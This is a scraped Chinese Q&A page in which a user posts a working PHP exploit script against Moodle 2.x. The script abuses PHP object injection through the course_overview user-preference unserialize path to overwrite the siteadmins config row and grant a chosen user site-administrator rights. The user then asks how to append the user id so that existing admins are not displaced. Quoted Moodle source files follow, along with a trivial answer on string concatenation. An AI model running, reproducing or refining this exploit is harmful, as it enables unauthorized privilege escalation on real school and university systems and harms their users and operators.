php如何将整数添加到列中值的末尾

o75abkj4  于 2021-10-10  发布在  Java
关注(0)|答案(1)|浏览(2028)

我正在测试moodle系统2.x版。
要运行以下脚本,您需要在系统中拥有一个帐户(任何角色)。然后替换会话密钥、userid(都来自登录后的源代码)和moodlesession(来自cookie)。替换它们后,运行脚本并重新记录。
在这个漏洞中,有人可以用sql注入数据库
是否可以在表中的列中追加值的末尾,而不是替换整个值?
列中的值的格式为:1、2、3,这是用户标识。如何通过该脚本添加“,”和新值(整数)
我试过了 $value= $value .', 5' ; 正如gabri所建议的,但它仍然用一个空白和 , 5 下面的scrpipt基本上将用户ID设置为管理员,但会替换任何其他管理员。
是否可以不替换任何其他管理员,而将该用户ID也设置为管理员?

<?php

//defining the required classes for our exploit
namespace gradereport_singleview\local\ui {
    class feedback{   
    }
}

namespace {
    class gradereport_overview_external{
}

class grade_item{
}

class grade_grade{
}

// creating a simple httpPost method which requires php-curl
function httpPost($url, $data, $MoodleSession, $json)
{
    $curl = curl_init($url);
    $headers = array('Cookie: MoodleSession='.$MoodleSession);
    if($json){
        array_push($headers, 'Content-Type: application/json');
    }else{
        $data =  urldecode(http_build_query($data));
    }
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

// creating a simple httpGet method which requires php-curl
function httpGet($url, $MoodleSession)
{
    $curl = curl_init($url);
    $headers = array('Cookie: MoodleSession='.$MoodleSession);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){
    //first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need
    $base = new gradereport_overview_external();

    // now we create the feedback object which inherits the vulnerable __tostring() method from its parent
    $fb = new gradereport_singleview\local\ui\feedback();

    //filling the feedback object with the required properties for the exploit to work
    $fb -> grade = new grade_grade();
    $fb -> grade -> grade_item = new grade_item();
    $fb -> grade -> grade_item -> calculation = "[[somestring";
    $fb -> grade -> grade_item -> calculation_normalized = false;

    //setting the table which we want to alter
    $fb -> grade -> grade_item -> table = $table;
    //setting the row id of the row that we want to alter
    $fb -> grade -> grade_item -> id = $rowId;
    //setting the column with the value that we want to insert
    $fb -> grade -> grade_item -> $column = $value;
    $fb -> grade -> grade_item -> required_fields = array($column,'id');

    //creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object
    $arr = array(array($base),$fb);

    //serializing the array
    $value = serialize($arr);

    //we'll set the course_blocks sortorder to 0 so we default to legacy user preference
    $data = array('sesskey' => $sesskey, 'sortorder[]' => 0);
    httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);

    //injecting the payload
    $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value))))));
    httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1);

    //getting the frontpage so the payload will activate
    httpGet($url.'/my/', $MoodleSession);
    }

$url = ''; //url of the Moodle site
$MoodleSession = ''; //your MoodleSession cookie value
$sesskey = ''; //your sesskey

$table = "config"; //table to update 
$rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation
$column = 'value'; //column name to update, which holds the userid
$value = 3; // userid to set as 'siteadmins' 

update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value);

//reset the allversionshash config entry with a sha1 hash so the site reloads its configuration
$rowId = 375; // row id of 'allversionshash' parameter
update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time()));

//reset the sortorder so we can see the front page again without the payload triggering
$data = array('sesskey' => $sesskey, 'sortorder[]' => 1);
httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);

//force plugincheck so we can access admin panel
httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession);

}
?>

以下文件是moodle资源(无法更改)
save.php

<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Save course order in course_overview block
 *
 * @package    block_course_overview
 * @copyright  2012 Adam Olley <adam.olley@netspot.com.au>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define('AJAX_SCRIPT', true);

require_once(__DIR__ . '/../../config.php');
require_once(__DIR__ . '/locallib.php');

require_sesskey();
require_login();

$sortorder = required_param_array('sortorder', PARAM_INT);

block_course_overview_update_myorder($sortorder);

locallib.php

<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Helper functions for course_overview block
 *
 * @package    block_course_overview
 * @copyright  2012 Adam Olley <adam.olley@netspot.com.au>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_NONE', '0');
define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_ONLY_PARENT_NAME', '1');
define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_FULL_PATH', '2');

/**
 * Display overview for courses
 *
 * @param array $courses courses for which overview needs to be shown
 * @return array html overview
 */
function block_course_overview_get_overviews($courses) {
    $htmlarray = array();
    if ($modules = get_plugin_list_with_function('mod', 'print_overview')) {
        // Split courses list into batches with no more than MAX_MODINFO_CACHE_SIZE courses in one batch.
        // Otherwise we exceed the cache limit in get_fast_modinfo() and rebuild it too often.
        if (defined('MAX_MODINFO_CACHE_SIZE') && MAX_MODINFO_CACHE_SIZE > 0 && count($courses) > MAX_MODINFO_CACHE_SIZE) {
            $batches = array_chunk($courses, MAX_MODINFO_CACHE_SIZE, true);
        } else {
            $batches = array($courses);
        }
        foreach ($batches as $courses) {
            foreach ($modules as $fname) {
                $fname($courses, $htmlarray);
            }
        }
    }
    return $htmlarray;
}

/**
 * Sets user preference for maximum courses to be displayed in course_overview block
 *
 * @param int $number maximum courses which should be visible
 */
function block_course_overview_update_mynumber($number) {
    set_user_preference('course_overview_number_of_courses', $number);
}

/**
 * Sets user course sorting preference in course_overview block
 *
 * @param array $sortorder list of course ids
 */
function block_course_overview_update_myorder($sortorder) {
    $value = implode(',', $sortorder);
    if (core_text::strlen($value) > 1333) {
        // The value won't fit into the user preference. Remove courses in the end of the list (mostly likely user won't even notice).
        $value = preg_replace('/,[\d]*$/', '', core_text::substr($value, 0, 1334));
    }
    set_user_preference('course_overview_course_sortorder', $value);
}

/**
 * Gets user course sorting preference in course_overview block
 *
 * @return array list of course ids
 */
function block_course_overview_get_myorder() {
    if ($value = get_user_preferences('course_overview_course_sortorder')) {
        return explode(',', $value);
    }
    // If preference was not found, look in the old location and convert if found.
    $order = array();
    if ($value = get_user_preferences('course_overview_course_order')) {
        $order = unserialize($value);
        block_course_overview_update_myorder($order);
        unset_user_preference('course_overview_course_order');
    }
    return $order;
}

/**
 * Returns shortname of activities in course
 *
 * @param int $courseid id of course for which activity shortname is needed
 * @return string|bool list of child shortname
 */
function block_course_overview_get_child_shortnames($courseid) {
    global $DB;
    $ctxselect = context_helper::get_preload_record_columns_sql('ctx');
    $sql = "SELECT c.id, c.shortname, $ctxselect
            FROM {enrol} e
            JOIN {course} c ON (c.id = e.customint1)
            JOIN {context} ctx ON (ctx.instanceid = e.customint1)
            WHERE e.courseid = :courseid AND e.enrol = :method AND ctx.contextlevel = :contextlevel ORDER BY e.sortorder";
    $params = array('method' => 'meta', 'courseid' => $courseid, 'contextlevel' => CONTEXT_COURSE);

    if ($results = $DB->get_records_sql($sql, $params)) {
        $shortnames = array();
        // Preload the context we will need it to format the category name shortly.
        foreach ($results as $res) {
            context_helper::preload_from_record($res);
            $context = context_course::instance($res->id);
            $shortnames[] = format_string($res->shortname, true, $context);
        }
        $total = count($shortnames);
        $suffix = '';
        if ($total > 10) {
            $shortnames = array_slice($shortnames, 0, 10);
            $diff = $total - count($shortnames);
            if ($diff > 1) {
                $suffix = get_string('shortnamesufixprural', 'block_course_overview', $diff);
            } else {
                $suffix = get_string('shortnamesufixsingular', 'block_course_overview', $diff);
            }
        }
        $shortnames = get_string('shortnameprefix', 'block_course_overview', implode('; ', $shortnames));
        $shortnames .= $suffix;
    }

    return isset($shortnames) ? $shortnames : false;
}

/**
 * Returns maximum number of courses which will be displayed in course_overview block
 *
 * @param bool $showallcourses if set true all courses will be visible.
 * @return int maximum number of courses
 */
function block_course_overview_get_max_user_courses($showallcourses = false) {
    // Get block configuration
    $config = get_config('block_course_overview');
    $limit = $config->defaultmaxcourses;

    // If max course is not set then try get user preference
    if (empty($config->forcedefaultmaxcourses)) {
        if ($showallcourses) {
            $limit = 0;
        } else {
            $limit = get_user_preferences('course_overview_number_of_courses', $limit);
        }
    }
    return $limit;
}

/**
 * Return sorted list of user courses
 *
 * @param bool $showallcourses if set true all courses will be visible.
 * @return array list of sorted courses and count of courses.
 */
function block_course_overview_get_sorted_courses($showallcourses = false) {
    global $USER;

    $limit = block_course_overview_get_max_user_courses($showallcourses);

    $courses = enrol_get_my_courses();
    $site = get_site();

    if (array_key_exists($site->id,$courses)) {
        unset($courses[$site->id]);
    }

    foreach ($courses as $c) {
        if (isset($USER->lastcourseaccess[$c->id])) {
            $courses[$c->id]->lastaccess = $USER->lastcourseaccess[$c->id];
        } else {
            $courses[$c->id]->lastaccess = 0;
        }
    }

    // Get remote courses.
    $remotecourses = array();
    if (is_enabled_auth('mnet')) {
        $remotecourses = get_my_remotecourses();
    }
    // Remote courses will have -ve remoteid as key, so it can be differentiated from normal courses
    foreach ($remotecourses as $id => $val) {
        $remoteid = $val->remoteid * -1;
        $val->id = $remoteid;
        $courses[$remoteid] = $val;
    }

    $order = block_course_overview_get_myorder();

    $sortedcourses = array();
    $counter = 0;
    // Get courses in sort order into list.
    foreach ($order as $key => $cid) {
        if (($counter >= $limit) && ($limit != 0)) {
            break;
        }

        // Make sure user is still enroled.
        if (isset($courses[$cid])) {
            $sortedcourses[$cid] = $courses[$cid];
            $counter++;
        }
    }
    // Append unsorted courses if limit allows
    foreach ($courses as $c) {
        if (($limit != 0) && ($counter >= $limit)) {
            break;
        }
        if (!in_array($c->id, $order)) {
            $sortedcourses[$c->id] = $c;
            $counter++;
        }
    }

    // From list extract site courses for overview
    $sitecourses = array();
    foreach ($sortedcourses as $key => $course) {
        if ($course->id > 0) {
            $sitecourses[$key] = $course;
        }
    }
    return array($sortedcourses, $sitecourses, count($courses));
}

block_course_overview.php

<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Course overview block
 *
 * @package    block_course_overview
 * @copyright  1999 onwards Martin Dougiamas (http://dougiamas.com)
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
require_once($CFG->dirroot.'/blocks/course_overview/locallib.php');

/**
 * Course overview block
 *
 * @copyright  1999 onwards Martin Dougiamas (http://dougiamas.com)
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class block_course_overview extends block_base {
    /**
     * If this is passed as mynumber then showallcourses, irrespective of limit by user.
     */
    const SHOW_ALL_COURSES = -2;

    /**
     * Block initialization
     */
    public function init() {
        $this->title   = get_string('pluginname', 'block_course_overview');
    }

    /**
     * Return contents of course_overview block
     *
     * @return stdClass contents of block
     */
    public function get_content() {
        global $USER, $CFG, $DB;
        require_once($CFG->dirroot.'/user/profile/lib.php');

        if($this->content !== NULL) {
            return $this->content;
        }

        $config = get_config('block_course_overview');

        $this->content = new stdClass();
        $this->content->text = '';
        $this->content->footer = '';

        $content = array();

        $updatemynumber = optional_param('mynumber', -1, PARAM_INT);
        if ($updatemynumber >= 0) {
            block_course_overview_update_mynumber($updatemynumber);
        }

        profile_load_custom_fields($USER);

        $showallcourses = ($updatemynumber === self::SHOW_ALL_COURSES);
        list($sortedcourses, $sitecourses, $totalcourses) = block_course_overview_get_sorted_courses($showallcourses);
        $overviews = block_course_overview_get_overviews($sitecourses);

        $renderer = $this->page->get_renderer('block_course_overview');
        if (!empty($config->showwelcomearea)) {
            require_once($CFG->dirroot.'/message/lib.php');
            $msgcount = message_count_unread_messages();
            $this->content->text = $renderer->welcome_area($msgcount);
        }

        // Number of sites to display.
        if ($this->page->user_is_editing() && empty($config->forcedefaultmaxcourses)) {
            $this->content->text .= $renderer->editing_bar_head($totalcourses);
        }

        if (empty($sortedcourses)) {
            $this->content->text .= get_string('nocourses','my');
        } else {
            // For each course, build category cache.
            $this->content->text .= $renderer->course_overview($sortedcourses, $overviews);
            $this->content->text .= $renderer->hidden_courses($totalcourses - count($sortedcourses));
        }

        return $this->content;
    }

    /**
     * Allow the block to have a configuration page
     *
     * @return boolean
     */
    public function has_config() {
        return true;
    }

    /**
     * Locations where block can be displayed
     *
     * @return array
     */
    public function applicable_formats() {
        return array('my' => true);
    }

    /**
     * Sets block header to be hidden or visible
     *
     * @return bool if true then header will be visible.
     */
    public function hide_header() {
        // Hide header if welcome area is show.
        $config = get_config('block_course_overview');
        return !empty($config->showwelcomearea);
    }
}
5tmbdcev

5tmbdcev1#

在php中不能使用“+”来连接,需要使用点。
例如:

echo "Hello" + "World";  //Won't work
echo "Hello" . "World"; //Correct approach

也许这是可行的,但很难说没有看到完整的问题。

$value= $value .', 5';

相关问题